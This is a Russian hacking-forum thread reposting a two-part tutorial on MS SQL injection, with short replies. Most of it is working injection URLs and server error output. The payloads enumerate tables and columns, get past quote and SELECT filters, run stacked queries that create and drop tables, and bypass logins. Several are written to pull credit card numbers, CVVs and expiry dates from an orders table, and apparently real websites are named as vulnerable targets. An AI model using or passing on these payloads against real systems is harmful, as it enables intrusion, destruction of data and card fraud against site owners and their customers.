![]() |
Уловки охотника на Ms Sql
Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.
Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так: Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'Код:
1’ or 1=@@version--Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос: Код:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int. мы не можем получить имя второй, и вместо нее видим ответ: Код:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.Код:
http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--Код:
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.Идем дальше. Иногда хитромудрые админы употреб*яют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру: Код:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)--Код:
Invalid column name 'CRX'.Код:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--Код:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—Код:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--Код:
http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--Код:
http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)--Код:
http://www.target.com/dinamica.asp?ID=1;drop table temp;--(с) durito ист. http://www.xakep.ru/post/43124/default.asp продолжение: После выхода предыдущего мануала по тонкостям mssql-инъекций, меня не однократно просили продолжить тему. И вот я подготовил вторую часть. Начнем мы с нечасто встречаемого, но в то же время наиболее затруднительного для новичков вопроса: «Что делать если в запросе select фильтруется?», т.е. запрос вида: Код:
http://www.target.com/data.asp?id=1%27%20or%201=@@version--Код:
http://www.target.com/data.asp?id=1%27%20or%201=(select db_name())—На форумах советуют либо вставлять комментарии в select вида: sel/*lala*/ect, что честно говоря, у меня никогда это не проходило и ошибка скули всегда сообщала, что: Код:
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'ect'.Код:
http://www.target.com/data.asp?id=1';EXEC('SEL'+'ECT db_name())--В то же время фильтрация обходиться крайне просто, достаточно перевести select в ASCII: %73%65%6C%65%63%74 Код:
http://www.target.com/data.asp?id =1%27%20or%201=(%73%65%6C%65%63%74+db_name())--Со следующей проблемой я столкнулся впервые на сайте labexp.com. Меня интересовал доступ в базу: http://labexp.com/login.good.html Интуиция подсказывала, что проникнуть внутрь не составит большого труда, и скорее всего можно будет обойти авторизацию используя одну из комбинаций: Код:
' or 1=1--Код:
if (theForm.id.value.length > 10)Код:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrsНо это же проверка на стороне пользователя, поэтому заходим в свойства браузера, отключаем поддержку JavаScript и в водим в поля : Код:
Courier ID: ' or '1'='1Ну и напоследок сайт www.centennialfunds.com, уязвим скрипт ретрива пароля: https://www.centennialfunds.com/forgot.asp в поле Your Email: вставляем Код:
1' or 1=@@version—Код:
<h1>Login Reminder</h1>Код:
<html>Продолжение следует… (с) durito ист. http://www.xakep.ru/post/43664/default.asp |
о, кардер дурито )
но увы, опять бояны, ничего нового =\ насчет JS, то уж легче запрос отловить и напрямую отослать.. Код:
POST: https://www.centennialfunds.com/forgot.asp |
кэш уже давно об этом писал
|
Цитата:
|
Цитата:
екзек запускает вызов системных процедур. Вообще если по чесно слизано с моей статьи... причем мне меньше нравиться. |
и вообще с созданием html форм у себя на компе под дестки, пора учиться работать с пакетными данными на прямую дабы софта щас просто навалом.
Для примера можно прогуляться по аддонам фф в разделе девелоперс. |
| Время: 04:45 |